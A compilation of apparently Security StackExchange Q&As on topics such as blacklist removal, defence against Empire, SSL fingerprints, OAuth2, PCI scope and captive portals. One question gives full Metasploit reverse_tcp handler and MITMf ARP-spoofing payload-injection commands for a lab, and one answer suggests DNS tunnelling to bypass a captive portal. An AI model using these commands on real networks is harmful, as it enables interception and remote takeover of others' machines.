My server was used for sending spam. Will our server ever be trusted again? A while back I enabled SMTP on my IIS server with the intention of using it for internal email notifications. It seems that somehow hackers were able to use it for sending out thousands of spam messages.

We've corrected the issue by adding some authentication to the server, but we're no longer trusted by many email clients. I'm guessing they must just assume we're still sending out spam by our IP?

Will our "stigma" ever go away so that we may send emails that don't go straight to the spam box? IP addresses are recycled so I don't imagine we can just be blocked forever.

I'll forego the scolding about enabling SMTP on an IIS server -- I'm sure that you've already told yourself everything I could think of saying, possibly several times over -- and just focus on your current problem.

Most reputable spam blacklists these days have automated or semi-automated removal mechanisms in place already. You can just contact, say, spamhaus or spamcop and use the removal process on their websites to have your IP address provisionally removed from their blacklists.

NOTE: DO NOT DO THIS IF YOU AREN'T CERTAIN YOU ACTUALLY DID CLOSE THE SPAM LOOPHOLE. If you tell them you cleaned it up and they receive more spam, they'll automatically drop you into the "lied to us about having cleaned up his act" category and that one's harder to get out of.


Defending Against Empire My understand of Empire is a framework that allows hackers to create listeners, and run code over the internet with the help of power shell through the use of DLL injections, Thread Injections, and loading code into memory which can create an agent over port 8080.

To Defend against this I would:

Update Powershell to v5 and ConstrainedLanguageMode to prevent .NET being loaded.
Enable memory protections via EMET (ASLR, SEHOP memory protections)
Enable a whitelisting on the system.
Use Get-InjectedThreads module to detect threads.
DLL Audit and check for injected DLLs.

Is there anythings more I can/should do? Am I missing anything?

Here is an example of how the process works.

Empire can be found here:
https://github.com/EmpireProject/Empire

That seems to be a pretty-good start. ConstrainedLanguageMode is a huge deterrent. Maybe add Microsoft ESAE as well as JitJea administration. Force the use of SMBv3. Eliminate LM/NTLM. UAC Max. DeviceGuard. Not very user-friendly, but you asked.

Perhaps also:

https://adsecurity.org/?p=3299
https://adsecurity.org/?p=3377
https://www.cisecurity.org


Is using a DB prefix for tables more secure? I see systems that use database prefixes. Some call it a security feature. Some call it a way to have multiple installations in one database.

The main pro is that it's harder to guess the whole table name. On the other hand, if you have some kind of access to the database I would say you could figure out the scheme/table list.

Is it a viable security feature?

This is security through obscurity. While it might not hurt you in all cases, on it's own it does not provide viable security. Do not rely on this as your protection.

A short parable

Let's say you keep your money in a jar labeled MONEY in your house. Since you know you sometimes forget to lock the door when you leave the house, you relabel the jar COOKIESto prevent a thief from finding it. Would you feel more secure now? Sure, a very lazy, dumb thief might miss it, but you would not have to be a master thief to steal your money. Wouldn't it be better to just remember to lock the door instead?

Back to the computer world

Let's say you have an old phpBB installation with an SQL injection vulnerability. By default the tables are prefixed by phpbb_. You change this to obscure_. Will this help you?

A naive scan might fail to find hard coded table names (like phpbb_users with all the passwords), and therefore fail. But even a script kiddie could run a script that runs a SHOW TABLES and finds your obscure_users. In fact, there are tools that will automatically dump the contents of  all your tables through a SQL injection vulnerability.

Conclusion

So what is the lesson here? While changing table prefixes (relabeling the jar) might perhaps protect you from the most basic dumb automated attack (the stupid, lazy thief), you would still be vulnerable to simple attacks performed by script kiddies (a thief searching through your jars). When you have a real vulnerability like SQL injection, the solution is to fix that vulnerability (lock the door), and not to add a thin veil of obscurity.

That said, a simple precaution that might slow down some attacks might still be worthwhile as "defence in depth" if it has no harmful side effects. Just don't feel safe just because you implement it.

(As an addendum, I should say that running multiple installations in the same database might come with security implications on it's own, depending on the situation.)


What are the known ways to gain complete access to hardware audio? Are there any known ways to gain access to firmware (bios/EFI) and permanently change the audio in a way that would effect the quality (Clarity, Volume, Frequency Range, Dynamic Range). For instance could an attacker gain access to my I/O and alter it without necessarily needing to flash my computer?

The reason I ask is I believe my friends and I have the pleasure of being infected with a weird malware that does just that. Our systems have became slightly slower, and the most noticeable symptom is the audio quality changes through out the day. I completely cleared a hard drive  with Windows on it and installed Linux. The audio stopped changing, however the audio quality is now permanently horrific. The malware has spread among the people I work with. One way I know it spreads is by USB because shortly after transferring files, the computer started to show symptoms. I also believe it spreads wirelessly somehow (but not a 100%) because a fresh computer that was not infected and only was used for emails got infected in the same fecanity as the other computers. On the infected computers I hear clicks throughout the day, even when no audio is playing.

No offense but I believe you are being a little paranoid. If someone had the knowledge to take control of your computer, what would he gain by changing the audio quality? It doesn't make sense, at least in my experience (20 years of vulnerability analysis).

A Windows malware spreading by USB flash drive, that is common, but hey, with my hand upon my chest, just format your disks, install Windows again, don't ever stick in another USB flash drive, and be happy.


MITMF Is not connecting Metasploit (HTTP Injection) I am attempting to inject malicious payload into http request. I own a personal lamp server, a Kali VM and a the most WindowsXP VM imaginable. and everything is on my network and legal. I have been following this tutorial.

https://youtu.be/FMahvXMYuT4

I ran metasploit with the following

use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.4
set LPORT 8843
exploit -j

When watching the video, Metasploit says

[*] Starting the payload handler...

On my end, it starts by saying that, then brings me back to the console. Odd, but whatever I guess.

Now I am trying to run mitmf in a different terminal window

sudo ./mitmf.py --spoof --arp -i eth0 --gateway 192.168.1.1 --target 192.168.1.244 --filepwn

Now this is the error message I am receiving from mitmf.

    [*] MITMf v0.9.8 - 'The Dark Side'
|
|_ Net-Creds v1.0 online
|_ Spoof v0.6
|  |_ ARP spoofing enabled
|_ FilePwn v0.3
|  |_ BDFProxy v0.3.2 online
2018-07-17 02:23:27 [ARPpoisoner] Restoring connection 192.168.1.244 <-> 192.168.1.1 with 2 packets per host
[Msfrpc] Error connecting to Metasploit: HTTPConnectionPool(host='127.0.0.1', port=55552): Max retries exceeded with url: /api/ (Caused by NewConnectionError('<urllib3.connection.HTTPConnection object at 0x7fd9b7772290>: Failed to establish a new connection: [Errno 111] Connection refused',))

I did some googling and I found this thread.

https://github.com/byt3bl33d3r/MITMf/issues/343

I followed his 2 command instructions instructions and started the whole process over again with no luck. I even tried changing the LPORT to 55552 but that failed as well. I am not an expert with Metasploit so I wouldn't even begin to know what to look for. How can I further troubleshoot this?

If you are using Kali Linux, resolve this by using the following command to install MITMf

apt-get install mitmf

Even if the original instructions provided by the software author work as expected with no errors, they are still tragically awful.


What is Federal and industry regulations PCI, SOX, GLBA, ISO 17799, HIPAA, CA1386? Often i see in job post they mention like "Federal and industry regulations understanding (e.g., PCI, SOX, GLBA, ISO 17799, HIPAA, CA1386)"

But what are those exactly, are those kind of rocket science like protocols or algorithm or standard instructions to do organised way of management work?

Has anyone some knowledge about that please?

These are all requirements and standards for security controls related to data security/privacy of sensitive information (personal, financial, health, etc). As the description says, they are mostly US federal (SOX, GLBA, HIPPA) or industry (PCI, ISO 17799) standards, although CA 1386 is a US state law.

Since the job posting mentions quite a few standards, my guess is they're looking for experience working in an industry with a regulated information security space. That would imply you have experience navigating a formal security program that tracks risks, controls, requirements, and exceptions/issues.

You can read about each if you're interested:

PCI
SOX
GLBA
ISO 17799
HIPPA
CA 1386


Check fingerprint for own self signed SSL certificate I have generated my own SSL certificate for a web server on the internet, however this was for three reasons:

Fun
Not wanting to buy an SSL certificate
Trying to get an A rating (excluding trust issues) on SSL Labs SSL Test.

However, now that I've learnt a bit more about SSL (I am by no means an expert, novice at best) I understand that although the server has a certificate this does not circumvent the possibility of man in the middle attacks

I realise I could just create a new self signed certificate, but given that I have access to the server, and based on this question regarding fingerprints, I was wondering if it is possible to verify the certificate and key on the server I have against the fingerprint I receive in my browser?

Basically is it possible for me to view the fingerprint on the server and then compare it to the one received in browser?

CONCLUSION

Based on Maarten Bodewes answer, I ran the following using my .crt file instead of a .pem

# openssl x509 -in mywebsite.com-selfsigned.crt -outform DER -out ~/mywebsite.com-selsigned.crt

calculated my sha1sum

# sha1sum mywebsite.com-selfsigned.crt
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX mywebsite.com-selfsigned.crt

And then checked my Sha1Fingerprint according to the answer provided by John Wu, and the two fingerprints are exactly the same. Perfect!

Not sure if you mean manually or automatically.

Manually -- yes -- you can view the thumbprint of the certificate that reaches your browser, e.g. in Chrome you would right-click the part of the address bar to the left of the address, choose Details, View Certificate, and click on the details tab.  The thumbprint is at or near the bottom.

Automatically -- yes -- just install the certificate on your desktop computer (double click the cert and follow the instructions) and the browser will trust it from that point forward.  If one day you browse to your web site and you get an SSL warning, there was a cert mismatch, and someone is hacking you.


How to use subkeys for encryption and signing with Enigmail? I'm having an issue with Enigmail.  Here's an example to highlight my problem.

Alice and Bob wish to communicate securely using Enigmail.  For extra security, they both decide to create keys using the --expert flag, and make their primary keys have only the certifying capability.  Alice and Bob then each generate two subkeys--one for signing, and one for encryption.  Finally, Alice and Bob remove the primary secret key from the secret keyring and record the key to external media for safekeeping.  The way I see it, Alice and Bob now each have five keys, or 2 and 1/2 keypairs.

Alice and Bob each have:

Primary Public Key
Public Encryption Subkey
Public Signing Subkey
Secret Encryption Subkey
Secret Signing Subkey
~~(MISSING) Primary Secret Key~~

There are many questions around stackexchange that explain why one might wish to manage their keys this way, this post in particular.

Anyhow, whenever Alice attempts to send an email using Enigmail to Bob, Enigmail complains "Key  not found or not valid.  The (sub-)key might have expired."  All the keys I generated do not expire.

I think Enigmail is assuming Alice's primary secret key is to be used for signing, and sending the email fails when it attempts to use a key which does not exist.  As I've explained, not only is Alice's primary secret key missing, but it also does not have the capability of signing.  However, the subkeys are present.  Is it possible to make Enigmail use the subkeys?

It is worth noting that the configuration described in the question above is currently impossible. This is because the Enigmail developer has refused to add custom key selection functionality--see here and here--claiming there is no reason to expose the end user to such "advanced configuration." That's really unfortunate.

Anyhow, I run Debian, so I naturally assumed all Enigmail dependencies would be installed along with Enigmail, but they were not.  The solution to fixing the error was install the pinentry-qt4 package, which has the description:

pinentry-qt4 - "Qt-4-based PIN or pass-phrase entry dialog for GnuPG."

The error message, "Key not found or not valid..." threw me off the trail.

Again, this solution only fixes the error, not the situation I described in the question.


Pitfalls of using SELinux for LAMP servers I'm considering the usage of SELinux for several lamp (linux+apache+mysql+php) servers. I have tested SELinux in a virtual machine and have configured some basic rules (allow PHP, email, etc.) and for the moment all seems to work pretty good. But I'm concerned that I have overlooked some pitfalls. What are the some common problems of enabling SELinux for LAMP servers which are easy to overlook?

If you've regression tested everything and not encountered any unsurmountable issues, then great, however my experience is the opposite of TorstenS - I think it results in a net decrease in the security of your system except in the specific scenarios (and "LAMP server" is unlikely to fall into that category) listed in the linked post.

To summarize - the complexity, opaque abstraction and poor documentation make it very difficult to understand the implementation and to adapt it to specific purposes. There is little evidence that even an expertly configured installation is more secure than a system not enforcing a policy. While intrinsically it is unlikely to increase your attack surface, it is likely that solving the functionality an performance impacts it introduces (i.e. compromising the off-the-shelf policy supplied by your vendor) will undermine the overall security of the system in ways you don't understand.


Securing a multi-tenant, multi-database REST API I am looking to improve the security of an existing REST API accessed over SSL. The web service is multi-tenant, such that each tenant has an assigned TenantId.

The problem I facing can be summarized as:

How can I determine the tenant?
How can I determine the client is legitimate?
Is HTTP cookie based security suitable for the task, or should I consider token based?

Currently

Currently we manually issue (i.e. out of process - over the telephone, etc) an API key to each client, which they include as an HTTP Header in each request. This API key maps to a TenantId. When the client sends a login request to the REST API, we then determine the TenantId, which in turn allows us to check the username/password in the correct tenant database. Once that is successful we issue a time-limited HTTP cookie. That cookie is then used on subsequent REST requests. Internally, that cookie is linked to a session and the session contains user profile information to reduce db load.

We are aware that this has some inherent security risks. The API key could be easily extracted from disassembled client source code. We also intend to build our own client as a SPA in JavaScript which is readable to anyone. Although we can revoke/change keys I'm looking for a more secure standardized implementation.

Alternative

As I understand it I could use a token based alternative to cookies. HMAC is a common authentication mechanism for web applications, but this requires the storage of a shared secret in the client and server. This secret appears to have the same problem as the API key above; in that it can be leaked.

I've also read a little about JWT, which seem to extend the HMAC concept in that the server can persist user "session" data in the token, reducing the number of database calls for user/profile information. The JWT token is used as a result of a successful username/password login. Thus there is no shared secret problem here correct?

I've also read a bit about OAuth2, specifically the Resource Owner Password Credentials Grant. I'm not even sure though whether OAuth2 solves my problem.

Determining the tenant

The first step is determining the tenant. Rather than using the API key to map to a TenantId, I could either:

Ask for the TenantId as part of the login request
Use a subdomain mapping to map to the TenantId

Validating the application caller

I secondly need to determine whether or not a given client application is allowed to access the REST API. On this part, I am well and truly out of bright ideas. Is that where OAuth2 comes to the rescue?

The only way I can think to resolve this is to issue the calling application with a temporary expiring API key after the user has logged in. Whilst it doesn't guarantee that the application isn't rogue, it does reduce the risk to an attacker who has also gained access to a user's credentials.

Is my current HTTP cookie solution acceptable? Do I need to move to a token based authentication mechanism instead?

I welcome any advice you might have. I'm wading through masses of information and trying to get my head around this all. Any guidance would be happily received!

You should look at oauth 2.0 (RFC 6749) it has a number of flows which could meet your requirements.

Firstly you need to know if the clients are public or confidential. Issuing client api keys as you are doing is pointless if the clients are web browsers or apps downloaded to mobile devices as the secret can't be maintained. If they are servers then api keys are good. So that is your first consideration. Section 2.1 of the rfc deals with client types and that will determine which flows are applicable.

You need to separate identification of the client service from the user the client is acting for. Your backend database should have association of users with tenants and possibly api keys with users or user+tenant if you want to scope to just a single tenancy. I've implemented services where users can participate in multiple tenants so that may or may not apply to your case.
I have successfully used the resource owner password credentials grant request so that a user can provide their username and password from a web browser. It sounds like you have used an out of band method to authorize the client so user credentials are not required. But if the client is a web browser or mobile app you can't rely on client auth and must get authorization from the user and that means providing user credentials.

Regardless of the flow you use you end up with a response as follows:

HTTP/1.1 200 OK
Content-Type: application/json;charset=UTF-8
Cache-Control: no-store
Pragma: no-cache

{
    "access_token":"2YotnFZFEjr1zCsicMWpAA",
    "token_type":"example",
    "expires_in":3600,
    "refresh_token":"tGzv3JOkF0XG5Qx2TlKWIA",
    "example_parameter":"example_value"
}

The returned access token is what the client uses in its requests so that it can prove to the server its requests are authorized.

You have two options for the Authorization header, 'bearer' or 'mac'.

Authorization: Bearer xxxxxx

If your clients are using TLS then bearer tokens are the simple way forward. See section 7.1 of the RFC for more details.

Finally since access tokens are only temporary your clients can use the refresh token to request a new access token once the access token nears or exceeds its expiry.  Its up to you if you want to use refresh tokens or not. Clients will need to store them securely at least the same level of protection they use for their api keys. In your system refresh tokens may be unnecessary for server-server interactions if the access lifetime is sufficient and user authentication is not required. If user authentication is required then refresh tokens may be useful if the client storage provides a sufficient level of protection.


Using / finding covert channels in inter-process communication I've got a class exercise that involves a virtual game of Werewolves/Mafia. We're not really taught how to do anything in this class, which makes it hard for everyone to do the labs.

The idea is that for certain rounds of the game, the bad guys vote for people to kill, then in the next round everyone starts guessing about who the bad guys are and tries to kill them instead.

This is set up as:

a python server used by a moderator
a python client launched by everyone to send/receive server messages (we can modify this)
everyone uses ssh to connect to one machine (so server & clients run on one machine)
they communicate through named pipes (tucked away in protected directories)

We need to either:

as the good guys: find out when the werewolves are communicating with the server so we can vote to kill that user
or as the bad guys: not get caught communicating with the server

Some ideas that I'm trying to work with but am too much of a network/linux noob to use:

/proc/pid#/sched   There should be useful stuff in here. I think I can check for voluntary context switches to see when a user is typing. Unfortunately I'm no good with scripting. Also, I'm not sure how to get the pid#. Maybe pipe top into grep "python"?
check the ssh connections to the machine, and somehow listen to the socket for communications?

I'm thoroughly stumped, so any advice would be awesome.

Just some random musings here: this is quite an interesting problem, and I assume that both good guys and bad guys use the same client, and that bad guys are secretly chosen by the moderator and unknown to each other.

In this scenario, simply detecting communications with the server isn't going to be enough, because a good guy must do so in order to acquire information. Also, any protocol to elect a supervisor good guy might choose a bad guy instead.

It is also unclear whether the guys, good or bad, have a private or public channel to communicate among them.

One approach could be to periodically broadcast on the public channel one's network status parameters. This means that the client is inherently "good" or "neutral" (it has no support for werewolf activity), so that any werewolf has to instantiate and deploy a workaround and trick his own client not to report "bad guy" activity. All the other clients would listen for anomalous reports (e.g. extra connections to the server); submitting an anomalous report, failure to submit anything, or submitting a corrupted report could be taken as evidence of werewolfishness.

For example each user could be requested to send publicly the results of a "good guy" utility that queries and timestamps the output of netstat -snap tcp and netstat -na to detect communications with the server in a non-deniable way. This could be boiled down to a simple utility that outputs a timestamp, a username, a random seed and a secret hash:

12345678:lserni:56789:SHA1("secret:12345678:lserni:56789:WEREWOLF!")

(Each user, even werewolves, would be expected to install the utility on the grounds of him being a good guy).

If the inter-guy channel is private, we can just let every client check the others at intervals. The werewolf will be immediately spotted as soon as he issues a death warrant, and all the good guys will shoot him down. This leaves all the other werewolves free to use their bullet at that turn to shoot down some good guy, but if they're under the same limitations the good guys are - they don't know themselves - then their action will be uncoordinated and ineffectual, and every turn will see a werewolf go down.

The scheme above still holds, if the werewolves are given a client of their own that allows them to coordinate, as long as it does not enable them to fake network status.


nvd json database without vendor and product info I'm trying to parse nvd databases from nvd vulnerabilities feeds https://nvd.nist.gov/vuln/data-feeds#JSON_FEED

I see many entries, where vendor product information is not filled in (cve->affects->vendor->vendor_data is empty list).

For example, in nvdcve-1.0-2019.json for CVE-2019-0004. There are some cpe's in configuration information (cpe:2.3:o:juniper:advanced_threat_prevention:\*:\*:\*:\*:\*:\*:\*:\*, cpe:2.3:h:juniper:atp400:-:\*:\*:\*:\*:\*:\*:\*), but corresponding products can't be found in cpe dictionary or with https://nvd.nist.gov/products/cpe/search.

But the "Juniper ATP" is mentioned in the description, and if I search for this keywords in https://nvd.nist.gov/vuln/search it magically lists the CVE-2019-0004.

What is the supposed correct way to find corresponding product and vendor information for such cve's?

Welcome to the messy of InfoSec community! :)

Unfortunately, when dealing with NVD data feeds only is common to get frustrated with either issue like that or any of the entry CVE update delay such as CPE and Status process (i.e., Analysing; Confirm; Rejected; and, Reserved).

That's why companies and nonprofits organizations, create their vulnerability identifications. The IBM X-Force (without acronym prefix) and SecurityFocus as BID (Bugtraq ID) are the greatest examples respectively.

  What is the supposed correct way to find corresponding product and
  vendor information for such cve's [sic]?

Answer: Add the CPE manually. You can contribute with NVD CPE Dictionary as well mailing to the NVD CPE team (the e-mail is in 2nd paragraph).

If you need more details about the vulnerability information:

According to the MITRE vulnerability report3, every CVE entries firstly raise from the MITRE's platform(s) when you request a CVE ID from a CVE Number Authorities (CNA) member, commonly MITRE CVEForm unless you contact with others CNA affiliate.

Usually, before a CVE-ID get CONFIRMED status, the Window Vulnerability must be completed. That is a concealed process which summarized in:

Vulnerability Found;
Vulnerability Reported;
90-days to whether the vendor answer back;

If the vendor doesn't answer the one who discovered the vulnerability in 90-days, the discoverer can do whatever he wants, including publishing the security issue information along with the exploit. Ordinarily, this sort of report happens on the SecList, PacketStorm or any other of the social platform such as Twitter and Blog post;
After vendor responding within 90 days, there is no predictable date for a vulnerability coming to the public from a foreign perspective because the communication is between the one that discovered the vulnerability and the vendor;

Assuming that the vendor answered, the final step is the release of the patch and the vulnerability detail.

MITRE Corporation is an American organization affiliated to Federally Funded Research and Development Centers (also known as FFRDC). The CVE-ID is a system provided by FFRDC that is operated by MITRE Corporation, and as you can see, their deeds are commonly chosen to standardize across the entire spectrum of security tools and services (Information Security Communities).

The NIST National Vulnerability Database (NVD) is a United States America government repository database to provide vulnerability management data for Security Content and Automation Protocol (SCAP) supplying. One of their products is the CPE dictionary, and their "CPE Dictionary Search" is the same as what he's providing in the XML file.

Have you noticed that each vulnerability information regardless of MITRE Corporation tends to a piece of miscorrelation?

Notwithstanding a CVE-ID can take a while to CONFIRM a reported vulnerability if a vendor does not confirm first. The other sticky situation, if you monitor MITRE CVE publishing entries and recognize when a CNA member release a CVE, you can note that the utmost occurrence of until a vulnerability becomes publicly.)

So, as I aforementioned: This miscorrelation tends to happen every time. That's is the principle of why working with only public information always dealt with a false positive and false negative.


Is a simple, but very long password a good password? Is a password like

  wwwwwwwwwwwwwwwwwwwwwwwww9

(25x 'w' and a number) secure? It would be easy to remember.

Well it depends on what method the attacker is using to crack passwords. If they are using dictionary attacks, certainly this will be very safe. After that, the attacker can try pure brute-forcing, and those methods usually try all shorter passwords before longer ones. So against common automated attacks like these, you are probably pretty safe.

As mentioned, it might be a little awkward to type in a password like this around people, since it's easy to "read" from your keystrokes. However, it wouldn't be that hard to modify these simple passwords to be a little more complicated to make them harder to read.


truststore and intermediate certificates We have a situation where our on premise product talks to a third party external API over SSL. This API has a certificate which is issued by an intermediate. We use the default java cacerts truststore, but it does not include this intermediate (it does have its root CA), so it is not trusted by our app. We currently manually import their certificate into the truststore, but I'm thinking there must be a better approach.

Is there not an option to download a truststore that contains all the root CAs and intermediates? Or is there something we are missing, e.g. the truststore should verify this without needing the intermediate imported into the truststore?

Contact your third party and ask them to configure their server/service to send the intermediate certificate(s) as per RFC 5246 Section 7.4.2. Specifically, the section marked certificate_list which is sent as part of the Server Hello message.

  This is a sequence (chain) of certificates.  The sender's
        certificate MUST come first in the list.  Each following
        certificate MUST directly certify the one preceding it.  Because
        certificate validation requires that root keys be distributed
        independently, the self-signed certificate that specifies the root
        certificate authority MAY be omitted from the chain, under the
        assumption that the remote end must already possess it in order to
        validate it in any case.

If the intermediate certificate(s) change, it's up to the sender to update their service to send the new certificate.  That is, it is not up to all the recipients to realise that things have broken, find the replacement certificates, then install them on all their relying parties.

There is also the option for the operators of the service to use certificates which contain the AIA extension (RFC 5280 Section 4.2.2.1 - id-ad-caIssuers's accessLocation field) which can contain an URL which points to a repository (HTTP more than likely) that contains the issuer certificate for download.  This requires both the extension to be present (that's up to the issuing CA) AND your app to check it (that's up to your developers).  This extension is a Microsoftism, added to compensate for substandard service administration - the RFC is quite clear about what should happen.


Security in the breaking cloud? Storage Wars? If access to a cloud server instance that stores personal/important information is lost or removed by the provider, is my data protected? Can the provider access my data and copy it, distribute, or claim ownership?

I'm horrified by the internet version of Storage Wars, where the contents of the "storage unit" is auctioned off to the biggest bidder if rent is unpaid. What are the laws that apply here? Who/What validates/guarantees that the providers follow the rules?

The short answer is that when you put your data on the cloud the provider has the technical capability to do what they want with it. They could sell it, trade it, share it, etc. What is keeping them from doing just that is a) the terms of service or contract agreed (read it to make sure they don't have rights to your data as some claim rights over anything you upload), b) law - although in most places the law is ambiguous and/or missing on this point, and c) public opinion, see instagram's recent fail on this issue.

In most cloud services agreements (at least consumer ones) there is a clause saying that the provider can change the terms of service at any time, so they could theoretically decide to claim ownership to all data and then sell it to the highest bidder. Few companies will go down that route as it guarantees that nobody will ever use their services again, however if a company went out of business it's possible that method could be used by the administrator to make the most out of the failed company's assets.

So do you have any semblance of control of your data in the cloud? Absolutely not, unless you control something about the data. If you encrypt the data at source using an independent utility and then store the encrypted files on the internet you can prevent its misuse, otherwise you just have to accept the trade-off of flexibility versus control.


Threat assesment for a captive portal I am interested in setting up a captive portal on a wireless network.

From what I understand I would do this by initially having all guests in a temporary vlan, moving them to the real vlan when authenticated or against some other criteria.

What threats should I look out for that people may be able to bypass the captive portal and access the network?

Should attacks against the webserver be my primary point of concern, or are there network level attacks I should look out for as well?

We were discussing a technique in another thread that would likely accomplish this.  NSTX and ICMPTX both take advantage of common protocol holes that organizations have.  NSTX is the most likely candidate since it's not likely the organization with the captive portal prevents access to the DNS proxy/server you're using to resolve the captive portal name.

If you can issue a DNS query to resolve your nameserver then you're pretty much set.  This requires you manage your own DNS machine externally, but with EC2 costing what it does figure you're out 20 bucks a month to accomplish this task.

NSTX essentially uses the DNS query mechanism as a data channel.  Pentesters have been using this technique for a while, and the idea is not new (botnets have even used DYNDNS C-Name resolution to create passive C&C structures.)    It's a dirty world, but DNS administrators have done a great job of creating a shadow network to pass your traffic around.

A quick reference: http://think-security.com/ip-over-dns/

Good ol' Howto: http://thomer.com/howtos/nstx.html


iptables rule to ban and redirect malicious traffic I'm running Apache 2 and after analysing the access_log I discovered that my website is visited more than 800 times a day (today 924) from majestic.co.uk bot.
The bot use this range of IP addresses:

  46.4.123.172
  220.241.45.142
  94.22.46.23
  88.198.16.153
  178.137.88.101
  91.194.84.106
  144.76.8.132
  46.4.120.3
  176.9.10.227
  208.107.12.128
  46.4.89.35
  91.230.202.131
  62.210.90.118
  62.16.252.183
  46.4.32.75
  46.4.116.197
  198.27.66.194
  199.58.86.206
  46.165.197.142
  195.154.187.115
  144.76.7.107
  91.121.221.15
  51.254.97.22
  195.154.156.209
  98.218.34.60
  195.154.157.47
  198.27.82.146
  178.202.133.84
  91.179.245.81

From the range I have seen that the IP continue to change, a first thought was for me (correct if I'm wrong) to setup a rule like this on the example of the first IP address:

  route add -net 46.4.123.0/24 gw 127.0.0.1 lo

This way I would block 46.4.123.1 to 46.4.123.255, but I would not work for me since every time change the IP so I need to track down and block each one.

My question is, there is a way instead of null-route the request to redirect the traffic to a domain like blocked.xxx.com where the user see "Hey you IP is blocked you cannot visit the website please if you think this is an error contact me".

The Majestic project is a distributed web crawler, which explains why you get such a lot of different source IP addresses. It is not malicious, that is it does not attack your site and it does not even uses lots of resources (800 requests a day is not much).

Like most proper bots Majestic even includes a URL in the user-agent string and if you visit this URL you will find topics like "How can I block MJ12bot?". This topic explains how you can block this bot in a sane way and I recommend you follow the advice there. Note that this bot is not something special, it follows the same rules as most of the the others innocent crawlers like the bots from google, yahoo, bing etc.

Apart from that, your idea to block based on the source IP of the request is not only useless in this case but actually harmful because it will exclude innocent users from your web site. These requests for this distributed crawler are done from the computers of volunteers like home users. You could see this if you would reverse lookup some of the IP addresses, e.g. 91.179.245.81 resolves too 81.245-179-91.adsl-dyn.isp.belgacom.be.. Thus if you would block the whole /24 network for this IP address you would exclude lots of users from this ISP.


PCI: Does CHD or SAD still need to be protected after implementing a P2PE solution? The promise of a good (even certified) PCI P2PE v2 solution is that the merchant does not have access to the keys which encrypted the Card Holder Data (CHD) and the Sensitive Authentication Data (SAD) allowing some to say the now encrypted CHD and encrypted SAD no longer need to be protected according to PCI DSS and allowing the encrypted data to flow around backend systems (where it would have not been stored prior to P2PE) is now okay.

My question is whether this is true?  And for those that say yes, what about the PCI DSS 3.2 requirement that SAD not be stored after authorization even if encrypted?  This last point is what I'm really interested in.  Because the P2PE v2 spec says it does not override PCI DSS.  Thoughts?

As with most things PCI, it's a matter of scope.

If the P2PE solution encrypts the CHD/SAD with a key that is not accessible to the merchant, then the merchant's handling of that encrypted blob is not subject to PCI DSS.  They can and will store and transmit it - without PCI scope implications - on its way to the service provider or 3rd party which has the corresponding key.  That service provider will presumably decrypt it, tokenize it, and hand back a token to the merchant for later use.  Obviously, the service provider is in scope and has to handle the data in line with the PCI DSS, whether encrypted or unencrypted.

The way you've worded the question is a little problematic.  Encrypted CHD and encrypted SAD are always in scope for the party that holds the key.  If you don't hold the key, they're not encrypted CHD/SAD; they're opaque blobs.

And the pivotal point, of course, is that the P2PE solution needs to encrypt before the merchant could access the data, and with keys that are securely out of reach of the merchant.  So a hardware dongle that plugs into your phone and encrypts is good; a hardware dongle that plugs into your phone and hands card data to an app on your phone to encrypt is not.

As usual, IANAQSA disclaimer applies.


Is it possible to communicate securely entirely over the internet given a global, resourceful man in the middle? Assuming a global, resourceful man in the middle, is it possible to

Securely communicate (I don't mean storing encrypted data off site)
completely establishing and sending messages over the internet (no pre-installed keys)
relying on some technology other than security through obscurity? (So, keys shipped with software are assumed to be compromised)

No, for sufficient values of "entirely over the Internet" and sufficient values of "secure." A "global" MitM could sit on everyone's network connections, and create a fake persona for everybody (cryptographic keys, signatures, message-writing patterns, etc.). Assuming no one shares anything offline or over a trusted network, you could never talk directly to any communication partner; everything would go through the MitM, which would replace everything designed to prove veracity.

You can't create trust over an untrusted connection, because you have no way of knowing that all the messages aren't coming from someone else. Trying to create trust from mathematical algorithms is not possible; it's just like trying to create math strictly from mathematical algorithms. You need to have something that is trusted automatically. The only way to actually create trust is through a judgment call.

The issue with doing things entirely online is that a MitM can pass almost everything through. Therefore, just because you get the right info over a wire, doesn't mean no one's tampering with it. You can only trust information you receive if you receive it over an already trusted connection, or if you can link it to information you already trust, or if you just decide that it's trustworthy enough (in which case no evidence supports it, and you need a good enough reason to do so). You can only create a trusted connection by somehow linking it to something you already trust in a secure way (e.g. via cryptographic algorithms), or by deciding to trust it without regard to evidence. There are communication channels that people trust without evidence: in-person communication is the primary one. People often trust government-issued ID documents, which is often used for PGP keysigning (another alternative is trusting that you can recognize your friend in person). However, if there's a global MitM, there are no automatically trusted Internet-based communication channels; if you likewise don't allow preinstalled keys or the like, there's no way to get any trusted electronic communication, which means you can't trust anything (as all communication is assumed to be over the Internet).


Are there any security issues with importing mail via POP/IMAP? I'd want to design import mail functionality for an email provider. The process is: user enters email and password for another service at my site and then site accesses another email provider and downloads messages from it via IMAP or POP3 over TLS/STARTTLS.

What security issues should be taken into account when designing such functionality? Can those emails have something that will make import process stuck? Do i need anything else besides antivirus?

You are accepting the users password for an account for a service not of your control and storing it for some time (may only be in RAM) this may also be forbidden for the user of the other service to give out their password in TOS or similar.
The obvious issues with TLS MITM attacks, rogue CA... (see other questions on stack exchange, work by Moxie Marlinspike, probably not easily controllable unless you want to take your time to pin certs manually in your server implementation and only allow specific known services).
The other service may do things like automatically delete emails as they are downloaded or similar that one might warn users to check they are okay with before proceeding.
The usual security issues with your own services, buffer overflows, sql injection, cross site scripting, cross site request forgery...


With Ubuntu on Windows 10, could exploits and malware that work on Ubuntu (or related distros) work on Windows? So apparently Hell has finally and completely frozen over: the next major update for Windows 10 will be able to natively run Bash, related tools, and even some broader set of Linux binaries/programs from the Ubuntu repositories.

From technical info released so far, the update this summer will add Linux subsystem components to Windows, on top of which will sit a special image from Canonical of Ubuntu user-mode components. The subsystem components translate Linux system calls to Windows system calls. (In essence, it's an emulator-like situation.) Bash, ssh, apt, and other components will run natively, but Canonical says so will "most of the tens of thousands of binary packages available in the Ubuntu archives". Including stuff like apache and MySQL.

Okay, so that brings two closely-related questions to mind that I don't have the knowledge re. Linux development & software architecture to answer:

Is it plausible that exploits designed to work on Linux/Ubuntu components & programs (eg. Shellshock for Bash, if it already hadn't been discovered & patched) could work on Ubuntu on Windows to some degree?
Is it plausible that some malware written to run Ubuntu/similar Linux distros will now be able to run natively on Windows 10?

